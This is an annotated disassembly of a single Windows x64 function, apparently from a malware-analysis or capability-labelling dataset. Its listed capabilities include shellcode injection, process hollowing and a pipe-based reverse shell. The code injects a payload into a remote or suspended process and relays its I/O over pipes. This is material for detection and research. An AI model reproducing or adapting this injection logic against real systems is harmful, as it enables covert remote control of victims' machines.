Function at 0x180024390
Capabilities:
Allocate or change rwx memory
Connect pipe
Create pipe
Create process on windows
Create process suspended
Create reverse shell
Create thread
Create two anonymous pipes
Execute shellcode via indirect call
Inject thread
Read file on windows
Read pipe
Resume thread
Spawn thread to rwx shellcode
Use process replacement
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2570]
mov eax, 0x2670
call fcn.18007fac0
sub rsp, rax
mov rax, qword [0x1800a2008]
xor rax, rsp
mov qword [rbp + 0x2560], rax
mov rbx, rcx
xor r12d, r12d
mov r14d, r12d
mov esi, r12d
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x80], r12
cmp byte [rcx + 0x78], r12b
je 0x18002446f
mov dword [rbp - 0x48], 0x18
mov dword [rbp - 0x38], 1
mov qword [rbp - 0x40], r12
xor r9d, r9d
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x180024429
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180024920
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x18002441e
xor r9d, r9d
lea r8, [rbp - 0x48]
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x18002441e
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x18002441e
cmp byte [rbx + 0x79], sil
je 0x1800244c0
lea rcx, [rbx + 0x58]
cmp qword [rcx + 0x18], 8
jb 0x180024483
mov rcx, qword [rcx]
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 0xfa0
mov dword [rsp + 0x28], 0x1000
mov dword [rsp + 0x20], 0x1000
mov r9d, 2
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18002441e
cmp dword [rbx + 0x28], 1
jne 0x1800244e3
mov r8d, dword [rbx + 0x30]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
je 0x18002441e
cmp dword [rbx + 0x28], 2
jne 0x180024587
mov dword [rbp + 0x20], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm0
cmp byte [rbx + 0x78], r12b
je 0x180024533
mov rax, qword [rbp - 0x80]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x78], rax
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0x70], rax
or dword [rbp + 0x5c], 0x100
lea rdx, [rbx + 0x38]
cmp qword [rdx + 0x18], 8
jb 0x180024541
mov rdx, qword [rdx]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18002441e
mov r14, qword [rbp - 0x30]
test r14, r14
jne 0x180024595
lea eax, [r14 + 1]
jmp 0x180024920
mov r8d, dword [rbx + 0x2c]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x18002441e
mov r9d, dword [rbx + 0x2c]
mov qword [rsp + 0x20], r12
mov r8, qword [rbx + 0x18]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18002491e
cmp dword [rbx + 0x28], 1
jne 0x18002460a
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r13, rax
jmp 0x18002464a
mov dword [rbp + 0xc0], 0x100001
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rbp + 0x188], rdi
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov r13, qword [rbp - 0x28]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test r13, r13
je 0x18002441e
mov r15d, 0xffffffff
cmp byte [rbx + 0x79], r12b
je 0x1800247b6
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov r8d, dword [rbx + 0x34]
test r8d, r8d
je 0x18002468d
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x70]
mov rdx, qword [rbx + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 0x20
call fcn.18002e0d0
mov r12, rax
mov qword [rsp + 0x78], rax
xor edi, edi
mov qword [rax], rdi
mov qword [rax + 8], rdi
lea ecx, [rdi + 0x20]
call fcn.18002e0d0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [r12], rax
mov qword [r12 + 0x10], rdi
mov byte [r12 + 0x18], dil
mov qword [rbp - 0x18], r12
lea ecx, [rdi + 0x18]
call fcn.18002e0d0
mov rdi, rax
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_class_DataBuffer_.0
mov qword [rdi], rax
mov qword [rdi + 0x10], r12
mov qword [rbp - 8], r12
mov qword [rbp], rdi
xor eax, eax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x560]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18002476e
nop dword [rax]
mov r8d, dword [rsp + 0x50]
lea rdx, [rbp + 0x560]
mov rcx, r12
call fcn.18000cb90
xor eax, eax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x560]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180024730
mov rcx, qword [rbx + 8]
lock inc dword [rdi + 8]
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], rdi
lea rdx, [rbp - 0x68]
call fcn.180019f40
nop
mov eax, r15d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x1800247b3
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, r15d
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x1800247b3
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
xor r12d, r12d
cmp byte [rbx + 0x78], 0
je 0x18002491e
mov ecx, 0x20
call fcn.18002e0d0
mov rsi, rax
mov qword [rsp + 0x70], rax
mov qword [rax], r12
mov qword [rax + 8], r12
mov ecx, 0x20
call fcn.18002e0d0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsi], rax
mov qword [rsi + 0x10], 0
mov byte [rsi + 0x18], 0
mov qword [rbp - 0x10], rsi
mov ecx, 0x18
call fcn.18002e0d0
mov rdi, rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_class_DataBuffer_.0
mov qword [rdi], rax
mov qword [rdi + 0x10], rsi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
mov r8d, dword [rbx + 0x34]
test r8d, r8d
je 0x180024860
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x78]
mov rdx, qword [rbx + 0x20]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop dword [rax + rax]
mov dword [rsp + 0x54], r12d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x1560]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [rsp + 0x54], 0
jne 0x180024950
lea rdx, [rsp + 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x1800248da
cmp dword [rsp + 0x58], 0x103
jne 0x1800248da
lea rdx, [rsp + 0x58]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x1800248da
cmp dword [rsp + 0x58], 0x103
je 0x180024860
mov rcx, qword [rbx + 8]
lock inc dword [rdi + 8]
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rdi
lea rdx, [rbp - 0x58]
call fcn.180019f40
nop
mov eax, r15d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x18002491e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], r15d
cmp r15d, 1
jne 0x18002491e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 8]
xor eax, eax
mov rcx, qword [rbp + 0x2560]
xor rcx, rsp
call fcn.18002e0b0
lea r11, [rsp + 0x2670]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x1560]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800248da
mov r8d, dword [rsp + 0x54]
lea rdx, [rbp + 0x1560]
mov rcx, rsi
call fcn.18000cb90
jmp 0x180024860